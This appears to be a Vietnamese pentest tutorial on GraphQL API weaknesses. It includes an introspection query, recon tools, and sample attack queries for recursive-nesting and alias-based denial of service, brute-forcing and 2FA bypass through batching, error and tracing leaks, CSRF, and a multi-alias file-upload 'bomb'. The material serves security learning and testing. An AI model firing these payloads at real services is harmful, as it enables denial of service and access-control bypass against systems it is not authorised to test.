GraphQL API Vulnerabilities, Common Attacks and Security Tips
What Tools Are Used during a GraphQL API Pentest?
Khi pentest GraphQL, ta thường sẽ:
-
Sử dụng introspection query để tìm hiểu về schema:
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{…FullType}directives{name description locations args{…InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated :true){name description args{…InputValue}type{…TypeRef}isDeprecated deprecationReason}inputFields{…InputValue}interfaces{…TypeRef}enumValues(includeDeprecated :true){name description isDeprecated deprecationReason}possibleTypes{…TypeRef}}fragment InputValue on __InputValue{name description type{…TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} -
Dùng clairvoyance để khai thác tính năng suggestions của GraphQL engine nhằm xây dựng schema.
-
Dùng graphql-cop để scan các lỗ hổng của GraphQL chẳng hạn như Alias Overloading, GET based queries, Mutation support over GET methods, etc.
-
Dùng graphw00f để tìm ra GraphQL engine nào đang được sử dụng chẳng hạn như là Apollo, Lighthouse, etc.
What Are the Most Common Vulnerabilities and Attacks on GraphQL APIs?
Denial of Service (DoS) Attacks
Một trong số những tấn công phổ biến vào GraphQL là DoS, chẳng hạn như tấn công Circular Queries (Recursive Queries): dùng khi có các data type tham chiếu lẫn nhau.

Khi đó, ta có thể câu query đệ quy nhiều lần đề thực hiện DoS.
# An exemple of cycle allowing an infinitely deep query
query {
paste(id: 1) {
owner {
paste {
owner {
paste {
owner {
paste {
# ...
}
}
}
}
}
}
}
}Batched Queries and Aliases
Batched Queries và Aliases các tính năng của GraphQL và có thể bị lạm dụng để thực hiện DoS hoặc brute-force như trong Bypassing Rate Limiting Using Aliases.
Ví dụ về một batched queries dùng để brute-force:

Ví dụ về việc sử dụng các aliases để thực hiện brute-force:

Để tấn công DoS sử dụng Alias, ta cần tìm một GraphQL query mà có response time lâu nhất trong ứng dụng rồi tạo ra một câu query có nhiều alias nhưng đều gọi query tìm được (có thể viết script để xây dựng câu query có chứa các aliases).
Seealso
Bài viết 👉GraphQL Batching Attack còn sử dụng Batched Queries để bypass 2FA bằng cách gửi toàn bộ các OTP code trong một request duy nhất 🤯.
Broken Authentication & Authorization
Đôi khi việc phân quyền cho các query không được implement đúng cách. Giả sử application expose ra query systemHealth dùng để kiểm tra sức khỏe của hệ thống mà không cần xác thực. Attacker có thể gửi GraphQL query có cùng tên nhưng truy vấn đến các resource khác không được phép nhằm bypass việc kiểm tra phân quyền của server nếu nó kiểm tra phân quyền dựa trên của câu query.
GraphQL Explained: How It Works, Why It Beats REST, and How to Hack It
Denial of Service (DoS)
Large Lists (Over-fetching Data)
Chúng ta có thể query thật nhiều record để gây DoS. Ví dụ:
query {
users(first: 10000) {
id
name
email
}
}Field Duplication (Query Overloading)
Hoặc sử dụng nhiều field trùng lặp nhau trong cùng một câu query:
query {
user {
id
id
id
id
# Repeated thousands of times...
}
}Difference between Alias Abuse and Batch Queries
- Alias Abuse: cùng một câu query nhưng được thực thi nhiều lần
- Batch Queries: cùng thực thi nhiều câu query.
Identifying Debug Errors in Query Responses
Chúng ta có thể gửi các câu query bị hỏng để làm cho server quăng ra các thông báo lỗi. Một số thông báo lỗi nếu quá chi tiết thì có thể làm lộ thông tin.
Ví dụ một câu query bị hỏng:
query {
user(id: "1" {
name
}
}Response để lộ stack trace và có thể khiến attacker hiểu rõ hơn về application:
{
"errors": [
{
"message": "Syntax Error: Expected Name, found {",
"locations": [{ "line": 2, "column": 15 }],
"stack": "Error: Syntax Error\n at GraphQLParser.parse (...)"
}
]
}Một số cách để trigger error message từ server:
-
Syntax Error
query { user(id: "1" { # Missing closing parenthesis name } } -
Invalid Field Names
query { user(id: "1") { fullName # Field "fullName" does not exist in the schema } } -
Type Mismatch
query { user(id: 1) { # ID should be a string, not a number name } } -
Nesting Errors
query { user(id: "1") { name posts { # Missing fields inside "posts" } } -
Unclosed Fragments
query { user(id: "1") { ...userFields # Fragment "userFields" is not defined } }
Identifying Query Tracing in Responses
Một số GraphQL engine còn trả về tracing của query:
{
"data": {
"user": {
"name": "John Doe"
}
},
"extensions": {
"tracing": {
"execution": {
"resolvers": [
{
"path": ["user"],
"duration": 120
}
]
}
}
}
}Cụ thể hơn, nếu tracing được enabled, ta có thể phân tích field extensions để biết được một số thông tin của application.
-
Performance Metrics
"extensions": { "executionTime": "120ms", "queryComplexity": 50 } -
Debugging Information
"extensions": { "warnings": ["Field 'fullName' is deprecated, use 'name' instead"] } -
Server-Specific Data
"extensions": { "apiVersion": "1.0", "cache": "HIT" } -
Schema or Query Insights
"extensions": { "deprecations": [ { "field": "User.email", "reason": "Use 'contactEmail' instead" } ] }
Exposed GraphQL Playground or IDE
Chúng ta có thể thử truy cập vào endpoint /graphql để truy cập Playground hoặc IDE của GraphQL.
GraphQL CSRF
Có thể xảy ra nếu application accept Content-Type có giá trị là application/x-www-form-urlencoded hoặc text/plain, sử dụng cookie và không có CSRF protections. Khi đó, attacker sẽ URL encode mutation của GraphQL và submit thông qua HTML Forms.
Forging GraphQL Bombs, the 2022 version of Zip Bombs
Theo đặc tả graphql-multipart-request-spec at escape.tech, GraphQL có thể được dùng để upload file. Ví dụ:
POST /graphql HTTP/1.1
Connection: keep-alive
Content-Length: 78346
Content-Type: multipart/form-data; boundary=----boundaryMGv2RzA6GpOE3Hry
Host: example.com
------boundaryMGv2RzA6GpOE3Hry
Content-Disposition: form-data; name="operations"
{
"query": "mutation ($picture: File!) {updateUserPicture(picture: $picture)}",
"variables": { "picture": null }
}
------boundaryMGv2RzA6GpOE3Hry
Content-Disposition: form-data; name="map"
{
"file1": ["variables.picture"]
}
------boundaryMGv2RzA6GpOE3Hry
Content-Disposition: form-data; name="file1"; filename="gautier.jpg"
Content-Type: image/jpeg
(77 kB of binary data)
------boundaryMGv2RzA6GpOE3Hry--Lấy cảm hứng từ Zip Bomb (kỹ thuật tấn công sử dụng file nén mà khi giải nén sẽ có kích thước cực kỳ to), attacker có thể gửi một GraphQL query bao gồm nhiều alias nhưng cùng tham chiếu đến 1 file.
mutation {
a1: updateUserPicture(picture: $picture)
a2: updateUserPicture(picture: $picture)
a3: updateUserPicture(picture: $picture)
# ...
a1000: updateUserPicture(picture: $picture)
}Minh họa:

Impact có thể là làm tiêu tốn tài nguyên của server hoặc DoS.